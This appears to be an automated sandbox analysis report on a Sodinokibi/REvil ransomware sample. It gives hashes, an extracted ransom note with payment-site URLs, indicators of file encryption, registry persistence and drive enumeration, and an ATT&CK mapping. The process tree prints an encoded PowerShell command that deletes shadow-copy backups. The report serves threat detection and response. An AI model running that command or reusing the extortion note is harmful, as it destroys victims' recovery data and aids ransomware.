sodinokibi | 368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d

General

Target

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
Size

132KB
MD5

8ea56fd712f728e5ed1a7dcba86ca9e9
SHA1

1ed11049103a716f8a21f0fc7bcc07d20090871e
SHA256

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d
SHA512

fcb77610abde19b1bfa8c805293e015b98a65b6845f241bb8a25b94df9c8e3f7a4e8ce95825530c72118ce57d907f6e43dfb273127a40e118a446e81d3a86a13

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\4q0391683-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 4q0391683. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/91BCA557E540FF28 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/91BCA557E540FF28 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: jpg5Hl6S8A8rMoPl/PFcre6e2xXFsDu3wRFU2E75HfKD8McHM5yzxRqBiZZRYI7E g9NRXrsZUrV3Iylt4R8hLCImoIZ0AGwNb09Cyg9u6gA4PIcVzG1N4alQFbCohMQf NhMPU16F3+2sISrULJ8UwF+U/uM1jfxwhD5CR/pog97UcnKHX9EFcxvHm9ZjpFsi XVx9hxwt/VJUcaxEitNDtYDQ4d5cfJdgr/GP1Cpfqsg2n0XzsOaS3xBq6gxamLju HOt9hFl/OemDIm/2CsocABgpC78lDXLuchagwyizsqsttjP/9pNuFQQrPsBJMYlO cW457y4cDUjgEx2KrI/u6XBRENOpAeX3HqWNHxH1g7HJagyQ8krkf5zLKhNbKR6E Lp0HDL0Ow6dlKFAiIwGQIJp0/btVwhrOIofFxaVouVDo+QlnRDeijuW89dJ53XzK cELpticaCvgg9xKI8N6dn0FJDw2pRvzHXMzZ/Yet0z3Lc0bpWlPTJXrgn7lDFSeW xsrZkez1kMpzPSstT+EpcGrjLqmd62K+3ELMfKa4sLcXWwy43vgqtv18XDrEpU0+ ZdO5akJlZPVQD1NSwaFuinXHcLdo9N7jd79/eTu3kbLgxTWrQlJEehJhbmGmvSfc vQNm20wxrvIZ2Y15fFBjvzGhIyFoCPxvDP4wwQyHkQG+wjfqxsZUD8Netzv2F2F3 LgN8dYv+yZi6XKzbHrIn9VoWYLRWY8COJ8nPQg10GNUMia7RFIMYaZTHRhG/YLM6 f4s45l+HZxmQtE7HH6g/ZxUY6vcyj5q80fdOBECg2heXncsJ2MFW6cEUO7aPCuvv ba7NT1Re4/7KO6d5iyPy/ntguUE1Cx539xWBG5Rwy1ZzaUA/06MLFNYPqII+lxLa mpNf5LEC405KCn1dWf7whISA0hqv7nd3lQWPT28ZkbwlNQnw2buN8tzdJn1DWC0Z yYIpx/RAG8RNtU8ZyewA0CTzxFPEDDM3myCi223iRH6ESLAhq69NuY7+N+GKws9X K86BmPTYnQ/lrTpTalVpQsVFb7O3nnkAqmgxR+qH/XkiLbcbyGJUxRIxSJoMJLLJ Hyb0YPJSXMv02F+lrS3N2FP8rf7iVNDD9BcRZyAViNhqq6+yKhDGL3C1Td5eW++a mis3sur/qoSfXyYwj0GJOM67o2WjnBMPZybMr7tbqmK0KRPRrYBRR/3cI3OUh715 ElNi/PMt2HkNlpp8al7nXsCMLVj7532RT5VZ4Ftg6+jMau5IQNmZpkFKR2LU6brU BzkSJ1xe5LZcMmQoVJpm5jqy7OFLbQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/91BCA557E540FF28

http://decryptor.cc/91BCA557E540FF28

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	ioc	process
File opened for modification	\??\c:\users\admin\pictures\CloseUnprotect.tiff	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\CloseUnprotect.tiff => \??\c:\users\admin\pictures\CloseUnprotect.tiff.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\InvokeSubmit.crw => \??\c:\users\admin\pictures\InvokeSubmit.crw.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\users\admin\pictures\UpdateGrant.tiff	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\WatchPublish.crw => \??\c:\users\admin\pictures\WatchPublish.crw.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\ClearRead.raw => \??\c:\users\admin\pictures\ClearRead.raw.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\HideTest.png => \??\c:\users\admin\pictures\HideTest.png.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\PublishEdit.raw => \??\c:\users\admin\pictures\PublishEdit.raw.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\ResolveDisable.raw => \??\c:\users\admin\pictures\ResolveDisable.raw.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File renamed	C:\Users\Admin\Pictures\UpdateGrant.tiff => \??\c:\users\admin\pictures\UpdateGrant.tiff.4q0391683	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\tQZ5HNPIrG = "C:\\Users\\Admin\\AppData\\Local\\Temp\\368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe"	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	ioc	process
File opened (read-only)	\??\X:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\Y:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\N:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\O:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\T:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\J:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\K:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\L:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\S:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\V:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\B:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\H:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\I:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\D:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\M:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\P:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\Z:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\A:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\F:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\G:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\U:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\W:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\E:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\Q:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened (read-only)	\??\R:	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0808r.bmp"	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Drops file in Program Files directory 12 IoCs

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	ioc	process
File created	\??\c:\program files\4q0391683-readme.txt	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\FindGroup.ram	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\HideGet.xsl	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\MergeImport.vdx	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\MoveSync.pcx	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\PushUpdate.cr2	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\UninstallSplit.jpeg	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File created	\??\c:\program files (x86)\4q0391683-readme.txt	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\CheckpointDeny.TTS	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\CompareRedo.pot	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\ConnectApprove.m1v	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
File opened for modification	\??\c:\program files\EditTest.wmf	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exepowershell.exe

pid	process
4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4216	vssvc.exe
Token: SeRestorePrivilege	4216	vssvc.exe
Token: SeAuditPrivilege	4216	vssvc.exe
Token: SeTakeOwnershipPrivilege	4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe

description	pid	process	target process
PID 4448 wrote to memory of 4120	4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe	powershell.exe
PID 4448 wrote to memory of 4120	4448	368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe
"C:\Users\Admin\AppData\Local\Temp\368dfd0ce07c2010b0bcfc05b60c653d285b9b201c0da60c3be6f6110a89140d.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4120

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

memory/4120-114-0x0000000000000000-mapping.dmp

Download
memory/4120-120-0x00000193A9A10000-0x00000193A9A11000-memory.dmp

Filesize
4KB

Download
memory/4120-125-0x00000193A9DC0000-0x00000193A9DC1000-memory.dmp

Filesize
4KB

Download
memory/4120-128-0x000001938DB80000-0x000001938DB82000-memory.dmp

Filesize
8KB

Download
memory/4120-130-0x000001938DB83000-0x000001938DB85000-memory.dmp

Filesize
8KB

Download
memory/4120-137-0x000001938DB86000-0x000001938DB88000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads